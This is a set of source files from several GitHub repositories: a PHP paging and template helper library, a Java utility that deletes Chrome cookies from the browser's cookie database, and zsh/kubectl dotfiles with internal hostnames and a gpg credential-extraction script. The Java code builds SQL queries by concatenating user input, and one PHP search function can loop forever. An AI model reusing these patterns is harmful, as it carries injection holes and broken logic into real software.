"url" => CTemplateStatic::Replace( $tmp_link , array("page" => $counter )), "page" => $counter ) ); else $html .= $tpl->blockReplace( $preffix . "Page" , array( "url" => CTemplateStatic::Replace( $tmp_link , array("page" => $counter )), "page" => $counter ) ); } } } if ($page < $lastpage) { $html.= $tpl->blockReplace( $preffix . "Next" , array( "url" => CTemplateStatic::Replace( $link1 , array("page" => $next )), "page" => $next ) ); } else { $html.= $tpl->blockReplace( $preffix . "NextDisabled" , array( "url" => CTemplateStatic::Replace( $link1 , array("page" => $next )), "page" => $next ) ); } } return $tpl->blockReplace( $preffix . "Main" , array( "data" => $html, "jump" => $jump ? $tpl->blockReplace( $preffix . "Jump" , array( "url" => $link1, ) ) : "" ) ); } /** * generates paging from user data * * @param mixed $template template file or object to work w/ * @param int $ic total number of items * @param int $ipp items per page * @param int $cp current page * @param array $vars template vars [if any] * @param bool $pn also include prev/next controls? [defaults to TRUE] * * @return string html page code * * @access public */ function Paging($template,$ic,$ipp,$cp,$vars,$pn = TRUE) { if ($ipp == 0) return ""; // check to see if paging required if ($ic > $ipp) { // init vars $result = ""; // load template if (!is_object($template)) { $template = new CTemplate($template); } // set some helper templates $tpl_normal = $template->blocks["Page"]; $tpl_active = $template->blocks["PageActive"]; // compute page count $pc = round(ceil($ic / $ipp)); // validate page if ($cp < 1) $cp = 1; elseif ($cp > $pc) $cp = $pc; // iterate thru all the pages for ($i = 0; $i < $pc; $i++) { // increment zerobased iterator $pn = $i + 1; // build template and make clickable if needed $tpl = ($pn == $cp) ? $tpl_active : $tpl_normal; // fill vars $vars["PAGE"] = $pn; $vars["FACE"] = $pn; // replace vars and add to result $result .= $tpl->Replace($vars); } // build prev/next if ($pn == TRUE) { // check if first page if ($cp > 1) { // fill vars $vars["PAGE"] = $cp - 1; $vars["FACE"] = $template->blocks["Prev"]->output; // replace vars and prepend to result $result = $tpl_normal->Replace($vars) . $result; } // check if last page if ($cp < $pc) { // fill vars $vars["PAGE"] = $cp + 1; $vars["FACE"] = $template->blocks["Next"]->output; // replace vars and append to result $result .= $tpl_normal->Replace($vars); } } // add the extra info and the pages to the result $return["ITEM_COUNT"] = $ic; $return["CURRENT_PAGE"] = $cp; $return["PAGE_COUNT"] = $pc; $return["PAGES"] = $result; // return the result return $template->blocks["Main"]->Replace($return); } else return ""; } /** * dinamically generates a select form element w/ the provided data * * @param string $name tag name attribute * @param array $vars array of option values in the form of "VAL" => "NAME" * @param object $template template object to use for generation * @param string $block name of template block which contains the select body * @param string $selected selected item if any [defaults to void] * @param array $extra_vars extra variables to be replaced in each option [keys must be * the same of $vars to work properly] * @param array $global_vars extra variables to be replaced in select * * @return string generated html code * * @access public */ function FormSelect($name,$vars,$template,$block,$selected = "",$extra_vars = array(), $global_vars = array()) { if (is_array($vars)) foreach ($vars as $key => $val) { $replace = array( "VALUE" => $key, "NAME" => $val, "SELECTED" => (($key == $selected) ? " selected=\"selected\"" : "") ); if (is_array($extra_vars[$key])) $replace = array_merge($replace,$extra_vars[$key]); $options .= $template->blocks["{$block}Option"]->Replace($replace); } if (count($global_vars) != 0) $select = $global_vars; $select["NAME"] = $name; $select["OPTIONS"] = $options; return $template->blocks["$block"]->Replace($select); } /** * description * * @param * * @return * * @access */ function Select( $template, $block, $values , $selected = "", $extra = array() ) { if (is_array($values)) { $_values = array(); //check if thee is an extra infications field if ($values["fields"]) { $__field__title = $values["fields"]["title"]; $__field__value = $values["fields"]["value"]; $values = $values["items"]; unset($values["fields"]); } else { $__field__title = "title"; $__field__value = "value"; } //check for the selected element if exists if (!$template->blockExists($block . "OptionSelected")) $__selected = $block . "Option"; else $__selected = $block . "OptionSelected"; $__normal = $block . "Option"; $__main = $block ; if (is_array($values)){ foreach ($values as $key => $val) { if (!is_array($val)) $_values[] = array($__field__title =>$val , $__field__value => $key); else $_values[] = $val; } $values = $_values; foreach ($values as $key => $val) $output .= $template->BlockReplace( ($selected == $val[$__field__value] ? $__selected : $__normal) , array( "title" => $val[$__field__title], "value" => $val[$__field__value] ) ); } $return = $template->blockReplace($__main , array ("options" => $output ) ); if (is_array($extra) && count($extra)) //if there are extra values replace them in the existing table return CTemplateStatic::Replace($return , $extra); else //else return the default return $return; } //no values so nothing to return return ""; } /** * description * * @param * * @return * * @access */ function Table($template,$template_block,$data,$has_paging = FALSE,$element_count = 0,$elements_per_page = 0,$page = 0,$paging_template = NULL,$paging_vars = array()) { if (is_array($data) && count($data)) { foreach ($data as $element) $return .= $template->BlockReplace($template_block . "Element",$element); $group = "Group"; } else { $return = $template->BlockReplace($template_block . "Empty" , array()); $group = "Group" . ( $template->blockExists($template_block . "GroupEmpty") ? "Empty" : ""); } if ($has_paging == TRUE) { $paging = $this->Paging($paging_template,$element_count,$elements_per_page,$page,$paging_vars); return $template->BlockReplace( $template_block . $group, array( "DATA" => $return, "PAGING" => $paging ) ); } else { return $template->BlockReplace( $template_block . $group, array( "DATA" => $return, //"PAGING" => $paging ) ); } } /** * description * * @param * * @return * * @access */ function TableSimple($template,$block,$items,$vars = array(),$filler_func = NULL,$paging = NULL,$page = 0,$tic = 0,$paging_vars = array()) { $item_count = count($items); if (is_array($items)) { foreach ($items as $item) { if (is_array($filler_func) && is_array($item)) call_user_func($filler_func,&$item); if ($template->dynamic) $rows .= $template->BlockReplace("{$block}Row",$item); else $rows .= $template->blocks["{$block}Row"]->Replace($item); } } else if ($template->dynamic) $rows .= $template->BlockReplace("{$block}Row",$item); else $rows = $template->blocks["{$block}Empty"]->output; // setup paging $_paging = ($paging != NULL) ? $this->Paging($paging,$tic,$item_count,$page,$paging_vars) : ""; // return the built layout return $template->blocks[$block]->Replace(array_merge(array("ROWS" => $rows, "PAGING" => $_paging),$vars)); } /** * uses the specified data array to build a very simple table * * @param object $template template to use * @param string $block template block to use * @param array $data data array to be processed * * @return mixed the table or void if empty data * * @access public */ function TableLight($template,$block,$data) { if ($data == "") return ""; else { foreach ($data as $item) $rows .= $template->blocks["{$block}Row"]->Replace($item); return $template->blocks[$block]->Replace(array("ROWS" => $rows)); } } /** * builds and displays a multi row/col html table * * @param mixed $template template file name or object * @param string $block template block which contains the table body * @param array $items array w/ the table items * @param int $rc row count * @param int $cc column count * @param array $vars array of variables to be replaced in block [if needed] * @param mixed $filler_func array of object and method to call for filling other vars in the item * @param mixed $paging template filename or object used for paging [defaults to NULL] * @param int $page current `page' * @param int $tic total item count [used for paging] * @param array $paging_vars array of vars to be replaced in the paging templates * * @return string html code of the built table * * @access public */ function TableComplex($template,$block,$items,$rc,$cc,$vars = array(),$filler_func = NULL,$paging = NULL,$page = 0,$tic = 0,$paging_vars = array()) { // compute item count ? $item_count = count($items); // if we have any items we proceed if (is_array($items)) { // recompute row/column count $row_count = /*$rc ;*/ceil(count($items) / $cc); $column_count = $cc ;//ceil(count($items) / $row_count); // setup the column and row data $columns = ""; $rows = ""; // and the position in the data array $key = 0; // iterate thru all the rows for ($i = 0; $i < $row_count; $i++) { // iterate thru all the row`s columns for ($j = 0; $j < $column_count; $j++) { // set our current item $item = $items[$key]; // then feed it to the filler func if needed if (is_array($filler_func) && is_array($item)) call_user_func($filler_func,&$item); // populate column data + check if the cell is empty $columns .= (is_array($item)) ? $template->blocks["Column"]->Replace($item) : $template->blocks["ColumnEmpty"]->output; // increment the position in the data array $key++; } // populate the row data and reset the column data to prepare it for the next row $rows .= $template->blocks["Row"]->Replace(array("COLUMNS" => $columns)); $columns = ""; } } else // we dont have any items so we handle it gracefully $rows = $template->blocks["Empty"]->output; // setup paging $_paging = ($paging != NULL) ? $this->Paging($paging,$tic,$rc*$cc/*$item_count*/,$page,$paging_vars) : ""; // return the built layout return $template->blocks[$block]->Replace(array_merge(array("ROWS" => $rows, "PAGING" => $_paging),$vars)); } /** * description * * @param * * @return * * @access */ function error($template,$id) { return $template->blocks[$id]->output; } /** * description * * @param * * @return * * @access */ function FormRadio($template,$block,$name,$vars) { if (is_array($vars)) { foreach ($vars as $key => $val) { $vars[$key]["name"] = $name; } return $this->Table($template, $block , $vars); } return ""; } /* 0.7 Addeg GroupEmpty to table funciton. if no elements are passed to the template and the group empty exists then it will be used instead of the normal group element 0.6 Fixed select function when the variables isnt an array 0.4 Saturday 15 September 2007 Added the new select funntion. It works only with 0.3 Friday 24 August 2007 Removed SettingsPage(); 0.2 Thursday 2 August 2007 Added support for dynamic templates 0.1 09/03/2003 Basic functions */ } ?>``` highlight.php ```<?php /** * Perform a simple text replace * This should be used when the string does not contain HTML * (off by default) */ define('STR_HIGHLIGHT_SIMPLE', 1); /** * Only match whole words in the string * (off by default) */ define('STR_HIGHLIGHT_WHOLEWD', 2); /** * Case sensitive matching * (off by default) */ define('STR_HIGHLIGHT_CASESENS', 4); /** * Overwrite links if matched * This should be used when the replacement string is a link * (off by default) */ define('STR_HIGHLIGHT_STRIPLINKS', 8); /** * Highlight a string in text without corrupting HTML tags * * @author Aidan Lister <aidan@php.net> * @version 3.1.1 * @link http://aidanlister.com/repos/v/function.str_highlight.php * @param string $text Haystack - The text to search * @param array|string $needle Needle - The string to highlight * @param bool $options Bitwise set of options * @param array $highlight Replacement string * @return Text with needle highlighted */ function str_highlight($text, $needle, $options = null, $highlight = null) { // Default highlighting if ($highlight === null) { $highlight = '<strong>\1</strong>'; } // Select pattern to use if ($options & STR_HIGHLIGHT_SIMPLE) { $pattern = '#(%s)#'; $sl_pattern = '#(%s)#'; } else { $pattern = '#(?!<.*?)(%s)(?![^<>]*?>)#'; $sl_pattern = '#<a\s(?:.*?)>(%s)</a>#'; } // Case sensitivity if (!($options & STR_HIGHLIGHT_CASESENS)) { $pattern .= 'i'; $sl_pattern .= 'i'; } $needle = (array) $needle; foreach ($needle as $needle_s) { $needle_s = preg_quote($needle_s); // Escape needle with optional whole word check if ($options & STR_HIGHLIGHT_WHOLEWD) { $needle_s = '\b' . $needle_s . '\b'; } // Strip links if ($options & STR_HIGHLIGHT_STRIPLINKS) { $sl_regex = sprintf($sl_pattern, $needle_s); $text = preg_replace($sl_regex, '\1', $text); } $regex = sprintf($pattern, $needle_s); $text = preg_replace($regex, $highlight, $text); } return $text; } /* <pre> <?php require_once 'function.str_highlight.php'; // Simple Example $string = 'This is a site about PHP and SQL'; $search = array('php', 'sql'); echo str_highlight($string, $search); echo "\n"; // With HTML in the text $string = 'Link to <a href="php">php</a>'; $search = 'php'; echo htmlspecialchars(str_highlight($string, $search)); echo "\n"; // Matching whole words only $string = 'I like to eat bananas with my nana!'; $search = 'Nana'; echo str_highlight($string, $search, STR_HIGHLIGHT_SIMPLE|STR_HIGHLIGHT_WHOLEWD); echo "\n"; // With custom highlighting $string = 'With custom highlighting!'; $search = 'custom'; $highlight = '<span style="text-decoration: underline;">\1</span>'; echo str_highlight($string, $search, STR_HIGHLIGHT_SIMPLE, $highlight); echo "\n"; // With links $string = 'I am a <a href="http://www.php.net">link</a>'; $search = 'link'; $highlight = '<a href="http://www.google.com/">\1</a>'; echo htmlspecialchars(str_highlight($string, $search, STR_HIGHLIGHT_STRIPLINKS, $highlight)); */ function stripos_words($haystack,$needles='',$pos_as_key=true) { $idx=0; // Used if pos_as_key is false // Convert full text to lower case to make this case insensitive $haystack = strtolower($haystack); // Split keywords and lowercase them foreach ( preg_split('/[^\w]/',strtolower($needles)) as $needle ){ // Get all occurences of this keyword $i=0; $pos_cur=0; $pos_found=0; while ( $pos_found !== false && $needles !== '') { // Get the strpos of this keyword (if thereis one) $pos_found = strpos(substr($haystack,$pos_cur),$needle); if ( $pos_found !== false ) { // Set up key for main array $index = $pos_as_key ? $pos_found+$pos_cur : $idx++; $data = array( "start" => $pos_found+$pos_cur, "end" =>$pos_cur, "word" => $needle ); $positions[] = $data; $i++; } } } } ?>```
zayatsel/DeleteChromeCookie
zayatsel/DeleteChromeCookie Cookie.java ```import java.sql.Timestamp; import java.time.LocalDateTime; import java.time.ZoneOffset; public class Cookie { private static final long YEARS_SHIFT = 369; private String name; private String domain; private LocalDateTime time; public Cookie(String name, String domain, long timestamp) { this.name = name; this.domain = domain; this.time = LocalDateTime.ofEpochSecond(timestamp/1000000, 0, ZoneOffset.UTC).minusYears(YEARS_SHIFT); } public String getName() { return name; } public String getDomain() { return domain; } public LocalDateTime getDate() { return time; } @Override public String toString() { // TODO Auto-generated method stub return String.format("Domain: %s, name: %s, time: %s", domain, name, time); } } ``` DeleteCromeCookie.java ```import java.sql.SQLException; import org.sqlite.SQLiteException; /** * Delete chrome cookies with names */ /** * @author USER1 * */ public class DeleteCromeCookie { static String[] filePaths = {"\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", "\\Application Data\\Google\\Chrome\\User Data\\Default\\Cookies", "/Library/Application Support/Google/Chrome/Default/Cookies", "/.config/chromium/Default/Cookies"}; /** * @param args - cookies names to delete */ public static void main(String[] args) { String domain = args.length>0?args[0]:null; String name = args.length>1?args[1]:null; System.out.println("Domain: " + domain + "; name: "+name); deleteCookies(domain, name); } public static void deleteCookies(String domain, String name){ for(String filePath : filePaths){ try { deleteCookies(System.getProperty("user.home")+filePath, domain, name); } catch (SQLException e) { if(e.getMessage().startsWith("path to ")){ continue; } e.printStackTrace(); } catch (ClassNotFoundException e) { e.printStackTrace(); } } } private static void deleteCookies(String filePath, String domain, String name) throws ClassNotFoundException, SQLException { DBCookieEditor editor = new DBCookieEditor(filePath); try { Cookie[] cookies = editor.getAllCookies(null, null); System.out.println("Total number: "+ cookies.length); editor.deleteCookies(domain, name); cookies = editor.getAllCookies(null, null); System.out.println("Total number: "+ cookies.length); } catch (SQLiteException e) { if(e.getMessage().startsWith("[SQLITE_IOERR_DELETE]")) { System.out.println("Can't delete cookies. Cookies file is being used. Probably chrome process is running"); } else{ throw e; } } } } ``` DBCookieEditor.java ``` import java.sql.*; import java.util.ArrayList; import java.util.List; public class DBCookieEditor { private String fileName; public DBCookieEditor(String fileName){ this.fileName = fileName; } public Cookie[] getAllCookies(String domainFilter, String nameFilter) throws ClassNotFoundException, SQLException{ Class.forName("org.sqlite.JDBC"); try(Connection connection = DriverManager.getConnection("jdbc:sqlite:"+this.fileName)){ //Statement statement; try ( Statement statement = connection.createStatement()){ statement.setQueryTimeout(30); // set timeout to 30 seconds ResultSet result = null; String query = "select * from cookies" + getFilter(domainFilter, nameFilter); result = statement.executeQuery(query); List<Cookie> cookies = new ArrayList<Cookie>(); while(result.next()){ cookies.add(new Cookie(result.getString("name"), result.getString("host_key"), result.getLong("creation_utc"))); } return cookies.toArray(new Cookie[cookies.size()]); } } //return null; } private String getFilter(String domainFilter, String nameFilter) { String query = ""; boolean hasFilter = false; if((domainFilter != null && !domainFilter.isEmpty())){ query += " host_key like \"%" + domainFilter + "%\""; hasFilter = true; } if(nameFilter != null && !nameFilter.isEmpty()) { if(hasFilter){ query += "and"; } query += " name like \"%" + nameFilter + "%\""; hasFilter = true; } if(hasFilter){ query = " where"+query; } return query; } public void deleteCookies(String domainFilter, String nameFilter) throws ClassNotFoundException, SQLException{ Class.forName("org.sqlite.JDBC"); try(Connection connection = DriverManager.getConnection("jdbc:sqlite:"+this.fileName)){ //Statement statement; try ( Statement statement = connection.createStatement()){ statement.setQueryTimeout(30); // set timeout to 30 seconds String query = "DELETE FROM cookies" + getFilter(domainFilter, nameFilter); statement.executeUpdate(query); } } } } ```
zayddehy/zayddehy.github.io
zayddehy/zayddehy.github.io README.md ```# zayddehy.github.io```
zazab/dotfiles
zazab/dotfiles README.md ```# DOTFILES ## vim ## zsh Настраивает zsh через zgen, и добавляет функционал расширяемого конфига. Файлы `*.zsh` из директорий `.zsh/alias.d`, `.zsh/custom.d`, `.zsh/profile.d` и `.zsh/zshrc.d` автоматически подгружаются при старте терминала. Разделение сделано для возможности как-то группировать конфиги логически. Пример использования: ```shell ansible-playbook -c local -i localhost, strap_configs.yaml -t zsh -e home=$HOME -e custom_items=avito --diff ``` ### Фичи #### k8s config fork Позволяет форкать текущий конфиг для текущей сессии: ```shell kcfork ``` Создаётся копия `~/.kube/config` во временной директории, что позволяет переключать кластер только для этой сессии. Из минусов, все изменения внесённые через `kubectl config *` будут забыты при завершении сессии. Так же есть следующие команды (в скобках алиасы): - `kube_config_reset(kcreset)` удаление сессионного конфига, и переключение на стандартный, - `kube_config_refresh(kcrefresh)` обновление сессионного конфига из стандартного, - `kube_config_persist(kcpersist)` сохранение текущего сессионного конфига в стандартный, ``` apply_zsh.sh ```#!/usr/bin/env zsh base=$(dirname $0) yaml="${base}/strap_configs.yaml" ansible-playbook -c local -i localhost, $yaml -t zsh -e home=$HOME --diff "$@"``` history.zsh ```export HISTSIZE=100000000 export SAVESIZE=100000000 setopt INC_APPEND_HISTORY ``` avito.zsh ```autoload -U +X bashcompinit && bashcompinit export PIP_INDEX_URL=http://pypi.k.avito.ru/pypi/ export PIP_TRUSTED_HOST=pypi.k.avito.ru export PIP_EXTRA_INDEX_URL=https://pypi.org/pypi/ export VAULT_ADDR="https://active.vault.service.avito:8200" export VAULT_CACERT=/Users/evpersienko/.avito/avito_ca.crt export GONOPROXY="go.avito.ru" export GONOSUMDB="go.avito.ru" export TILLER_NAMESPACE="tiller" ``` alias_expand.zsh ```globalias() { if [[ $LBUFFER =~ \ [A-Z]+$ ]]; then zle _expand_alias zle expand-word fi zle self-insert } zle -N globalias force_expand() { zle _expand_alias zle expand-word zle self-insert } zle -N force_expand bindkey -M viins " " globalias bindkey -M viins "^[ " force_expand bindkey -M viins "^[[Z" magic-space bindkey -M isearch " " magic-space ``` cred_extract ```#!/bin/bash project=$1 query=$2 gpg 2>/dev/null -d $HOME/.creds/${project}.gpg | jq -r "$query" 2>/dev/null ``` zsh_autosuggestions.zsh ```export ZSH_AUTOSUGGEST_STRATEGY=(match_prev_cmd completion) export ZSH_AUTOSUGGEST_USE_ASYNC="on" bindkey '^[^?' autosuggest-clear bindkey "\eS" autosuggest-toggle ``` cred_clip ```#!/bin/bash set -e $HOME/bin/cred_extract $@ | xclip echo copied $2 from $1 to clipboard ``` zshrc ```ssh-add -K >/dev/null 2>&1 # Enable Powerlevel10k instant prompt. Should stay close to the top of ~/.zshrc. # Initialization code that may require console input (password prompts, [y/n] # confirmations, etc.) must go above this block, everything else may go below. if [[ -r "${XDG_CACHE_HOME:-$HOME/.cache}/p10k-instant-prompt-${(%):-%n}.zsh" ]]; then source "${XDG_CACHE_HOME:-$HOME/.cache}/p10k-instant-prompt-${(%):-%n}.zsh" fi # # Executes commands at the start of an interactive session. # # Authors: # Sorin Ionescu <sorin.ionescu@gmail.com> # source "${HOME}/.zgen/zgen.zsh" # if the init scipt doesn't exist if ! zgen saved; then # specify plugins here zgen load prezto # generate the init script from plugins above zgen save fi zgen prezto # Customize to your needs... unsetopt correct unsetopt correct_all unsetopt global_rcs setopt menu_complete setopt AUTO_PUSHD for dir in ~/.zsh/*.d; do for f in $dir/*.zsh; do source $f done done # stty -ixon ``` aliases.zsh ```# Aliases alias gml="gometalinter --deadline 10s --config $HOME/.config/gometalinter.json ./..." function vimtemp() { tmpfile=`mktemp -t vimtmp-XXXXX` touch $tmpfile vim $tmpfile } alias vim-temp="vimtemp" ``` zpreztorc.j2 ```setopt menu_complete zstyle ':prezto:*:*' color 'yes' zstyle ':prezto:load' pmodule \ 'environment' \ 'editor' \ 'spectrum' \ 'history' \ 'directory' \ 'fasd' \ 'utility' \ 'completion' \ 'prompt' \ 'homebrew' \ 'osx' \ 'python' \ 'ssh' \ 'history-substring-search' \ 'git' \ 'gpg' \ 'docker' zstyle ':prezto:module:editor' key-bindings 'vi' zstyle ':prezto:module:prompt' theme '{{zsh_prompt_theme}}' # vim: ft=zsh ``` ssh.zsh ```# ssh aliases alias -g U='sudo -i' alias -g Z='zsh' # 20.12.L -> ssh 192.168.20.12 # 20.12.P -> ssh 172.16.20.12 # t1.e -> ssh ngs.ru.t1 # s.s -> ssh s.s # blah.ru -> ssh blah.ru # node.p -> ssh node.in.ngs.ru # node.x -> (resolve via search domain setting) ssh node # alias -s L='ssh-helper 192.168. .L "" ""' # alias -s P='ssh-helper 172.16. .P "" ""' # alias -s e='ssh-helper ngs.ru. .e "" ""' # alias -s s='ssh-helper "" .s .dev.ivi.ru ""' # alias -s i='ssh-helper "" .i .dev.ivi.ru ""' # alias -s n='ssh-helper "" .n .at.netstream.ru ""' alias -s ru='ssh-helper "" .ru .ru "" ""' # alias -s mk='ssh-helper "" .mk .epersienko.notkube.dev.ivi.ru ""' # alias -s wk='ssh-helper "" .wk .epersienkowut.notkube.dev.ivi.ru ""' # alias -s k='ssh-helper "" .k .notkube.dev.ivi.ru ""' alias -s x='ssh-helper "" .x "" "" ""' alias -s s='ssh-helper "" .s "" "" "yes"' # alias -s R='ssh-helper "" .R "" "root"' function ssh-helper() { local prefix="$1" local remove_suffix="$2" local suffix="$3" local user="$4" local become="$5" local host="$6" shift 6 pre_cmd="" if [ $become ]; then pre_cmd=$([ $# -gt 0 ] && echo "sudo " || echo "sudo -i") fi user_part="" if [ $user ]; then user_part="$user@" fi #echo "TERM=xterm ssh -t $user_part$prefix\"${host%%$remove_suffix}\"$suffix \"${pre_cmd}${@}\"" TERM=xterm ssh -t $user_part$prefix"${host%%$remove_suffix}"$suffix "${pre_cmd}${@}" } ``` lsync ```#!/bin/bash cfg=$1 lsyncd $HOME/.config/lsyncd.d/${cfg}.lua ``` avito-tool.zsh ```alias av="avito" alias as="avito service" alias run="avito service run" alias runbg="avito service run --no-watch" alias deploy="avito service deploy" alias lint="avito service lint" alias sfmt="avito service fmt" alias push="avito service push" alias debug="avito service debug" alias reauth="avito kubectl auth" ``` python.zsh ```alias activate='source $HOME/bin/activate_virtualenv' ``` systemd.zsh ```alias sctl="sudo systemctl" alias jctl="sudo journalctl" ``` local_kubectl.zsh ```kube_config_fork >/dev/null ``` fzfcd.zsh ```fzfcd-redraw-prompt() { local precmd for precmd in $precmd_functions; do $precmd done zle reset-prompt } zle -N fzfcd-redraw-prompt fzfcd() { #setopt localoptions noglobsubst noposixbuiltins pipefail 2> /dev/null local pattern=${1} shift local tmp_file=$(mktemp) local call_cwd=$(pwd) while [[ $# -gt 0 ]] do local search_path=${1} local maxdepth=${2} shift 2 local abs_path=$search_path:A if [[ "$abs_path" != "$search_path" ]]; then # if not abs path abs_path="$call_cwd/$search_path" search_path=$abs_path:A fi cd $search_path fd $pattern -a --type d --exclude vendor --max-depth $maxdepth >> $tmp_file done local select=$(cat $tmp_file | fzf --reverse --height 50% --preview 'grc git -C {} status -sb 2>/dev/null || echo no git' --preview-window bottom:5) rm -rf $tmp_file cd $call_cwd if [[ -d "$select" ]]; then cd $select local exit_code=$? zle && fzfcd-redraw-prompt return $exit_code fi zle && zle redisplay return 0 } function ccd fzfcd_code { fzfcd . $CODEHOME 1 $GOPATH/src 3 } zle -N fzfcd_code bindkey "\ed" fzfcd_code bindkey -M "viopp" "\ed" fzfcd_code function scd fzfcd_service { fzfcd 'service-*' $CODEHOME 1 $GOPATH/src/go.avito.ru 2 } zle -N fzfcd_service bindkey "\es" fzfcd_service bindkey -M "viopp" "\es" fzfcd_service ``` global.zsh ``` alias -g G='| grep' alias -g GO='| grep -o' alias -g S='| sort' alias -g SK='| sort -k ' alias -g L='| less' alias -g H='| head' alias -g T='| tail' alias -g SU='| sort | uniq' alias -g WC='| wc -l' alias -g PBC='| pbcopy' ``` k8s.zsh ```#@IgnoreInspection BashAddShebang alias ko="/Users/evpersienko/.avito/avito-cli-binaries/kubectl/kubectl_1.8" alias k="kubectl" alias kl="kubectl logs" alias kt="kubetail" alias ke="kubectl exec -ti" # get aliases alias kgp="kubectl get po" alias kgd="kubectl get deploy" alias kgns="kubectl get ns" alias kgn="kubectl get no" alias kgn_taints="kubectl get no -o go-template-file=/Users/evpersienko/.kube/tpls/node_with_taints.tpl" alias kgn_labels="kubectl get no -o go-template-file=/Users/evpersienko/.kube/tpls/node_with_labels.tpl" alias kgs="kubectl get svc" alias kgcm="kubectl get cm" alias kgsec="kubectl get secret" alias kgrs="kubectl get rs" alias kgrb="kubectl get rolebinding" alias kgro="kubectl get role" alias kgcrb="kubectl get clusterrolebinding" alias kgcro="kubectl get clusterrole" alias kgcrd="kubectl get crd" alias kgsa="kubectl get sa" alias kgi="kubectl get ing" alias kgds="kubectl get ds" alias kge='kubectl get events --sort-by='\''{.lastTimestamp}'\' alias kdp="kubectl describe po" alias kdd="kubectl describe deploy" alias kdn="kubectl describe no" alias kdns="kubectl describe ns" alias kds="kubectl describe svc" alias kdcm="kubectl describe cm" alias kdsec="kubectl describe secret" alias kdrs="kubectl describe rs" alias kdrb="kubectl describe rolebinding" alias kdro="kubectl describe role" alias kdcrb="kubectl describe clusterrolebinding" alias kdcro="kubectl describe clusterrole" alias kdcrd="kubectl describe crd" alias kdsa="kubectl describe sa" alias kdi="kubectl describe ing" alias kdds="kubectl describe ds" swap_configs() { context="$1" current_context="$2" if [[ "$context" != "minikube" && "$current_context" != "minikube" ]]; then echo "no need to switch configs" # no need to switch return fi if [[ "$current_context" == "minikube" ]]; then echo "saving \$HOME/.kube/config to \$HOME/.kube/config.minikube" mv "$HOME/.kube/config" "$HOME/.kube/config.minikube" else echo "saving \$HOME/.kube/config to \$HOME/.kube/config.avito" mv "$HOME/.kube/config" "$HOME/.kube/config.avito" fi if [[ "$context" == "minikube" ]]; then echo "copying \$HOME/.kube/config.minikube to \$HOME/.kube/config" mv "$HOME/.kube/config.minikube" "$HOME/.kube/config" else echo "copying \$HOME/.kube/config.avito to \$HOME/.kube/config" mv "$HOME/.kube/config.avito" "$HOME/.kube/config" fi } kube_set_context() { context="$1" current_context=$(kubectl config current-context) if [[ "$context" == "$current_context" ]]; then echo "no need to switch context" # same context, no need to do anything return fi swap_configs "$context" "$current_context" kubectl config use-context $context #avito kubectl use-context $context } alias ksc="kube_set_context" kube_sync_config() { set -x rm -f "$HOME/.kube/config" cp "$HOME/.kube/config.avito" "$HOME/.kube/config" avito kubectl sync-config rm -f "$HOME/.kube/config.avito" cp "$HOME/.kube/config" "$HOME/.kube/config.avito" set +x } alias ksync="kube_sync_config" #alias ksc="avito kubectl use-context" kube_set_namespace() { kubectl get namespace $1 >/dev/null if [ $? -eq 1 ]; then return $? fi kubectl config set-context "$(k config current-context)" --namespace="$1" echo "Namespace: $1" return 0 } alias ksn="kube_set_namespace" alias ksnd="kube_set_namespace ''" alias -g NAN="| grep -E 'NotReady|Disabled'" alias -g CK="--context kappa" alias -g KCK="--kube-context kappa" alias -g CO="--context omega" alias -g KCO="--kube-context omega" alias -g CB="--context beta" alias -g KCB="--kube-context beta" alias -g CT="--context theta" alias -g ANS="--all-namespaces" ``` prepare-commit-msg ```#!/bin/sh # skip merge commits if grep -i "merge" "$1"; then exit 0 fi jira_issue_regex="^[A-Z]+-[0-9]+" current_branch="$(git rev-parse --abbrev-ref HEAD)" current_issue="$(echo ${current_branch} | grep ${jira_issue_regex} -Eo)" issue_in_message="$(grep ${jira_issue_regex} ${1} -Eo)" if [[ -z "$current_issue" ]]; then echo "Don't know current issue" exit 0 fi if [[ -z "$issue_in_message" ]]; then echo "Adding issue to commit message" echo "$current_issue $(cat ${1})" > ${1} exit 0 fi if [[ "$current_issue" == "$issue_in_message" ]]; then exit 0 else echo "Cancel commit, Wrong issue in commit message. Branch issue is" \ "${current_issue}, issue in commit is ${issue_in_message}" exit 1 fi ``` git.zsh ```alias gu="git pull" alias gul="git pull --rebase" alias gf="git fetch" #alias gp="git push" #alias gpt="git push --tags" #alias gpf="git push" alias gd="git diff" alias gcl="git clone" alias ga="git add" alias gi="git add -pi" alias gl="git log --oneline --graph --decorate" unalias glb function glb { base=${1:-master} start=$(git 2>/dev/null merge-base --fork-point $base || echo $base) git log --oneline --graph --decorate $start..HEAD } alias gla="git log --oneline --graph --decorate --all" alias gls="git log --graph --pretty=\"format:%C(auto)[%G?] %h%d %s\"" alias gs="git status -sb" #alias gignored="git check-ignore -v **/*" alias gco="git checkout" ``` .profilerc ```#!/bin/sh export GOPATH="$HOME/dev/goroot" export GOSRC="$HOME/dev/goroot/src" export GO15VENDOREXPERIMENT=1 export PATH="/home/persienko/bin:$GOPATH/bin":$PATH export EDITOR=vim export TERMINAL=urxvt export TERM=screen-256color export MC_SKIN="$HOME/.mc/solarized.ini" export SSH_AUTH_SOCK="$XDG_RUNTIME_DIR/ssh-agent.socket" export FZF_DEFAULT_COMMAND='ag -l -g ""' export FZF_DEFAULT_OPTS="--tiebreak=begin,length,index --color=dark --reverse" ``` lsyncs ```#!/bin/bash ls -1 $HOME/.config/lsyncd.d/ | sed "s/.lua$//" ``` k8s_session_config.zsh ```kube_config_fork() { if [ -n "$KUBECONFIG" ]; then echo "kubeconfig already forked" return 1 fi forked=$(mktemp -t kubeconfig-XXX) /bin/cp "${HOME}/.kube/config" "$forked" export "KUBECONFIG=$forked" echo "forked kubeconfig to ${forked}" return 0 } alias kcfork="kube_config_fork" kube_config_reset() { if [ -z "$KUBECONFIG" ]; then echo "kubeconfig already not forked" return 1 fi rm -f "$KUBECONFIG" unset "KUBECONFIG" echo "kubeconfig reset to default" return 0 } alias kcreset="kube_config_reset" kube_config_refresh() { if [ -z "$KUBECONFIG" ]; then echo "kubeconfig is not forked" return 1 fi rm -f "$KUBECONFIG" /bin/cp "${HOME}/.kube/config" "$KUBECONFIG" echo "kubeconfig updated from default" return 0 } alias kcrefresh="kube_config_refresh" kube_config_persist() { if [ -z "$KUBECONFIG" ]; then echo "kubeconfig is not forked" return 1 fi /bin/cp "$KUBECONFIG" "${HOME}/.kube/config" echo "kubeconfig persisted to default" return 0 } alias kcpersist="kube_config_persist" ``` fzf.zsh ```export FZF_DEFAULT_COMMAND='fd --type f --exclude .git --ex' export FZF_DEFAULT_OPTS='--color light' ``` rust.zsh ```export 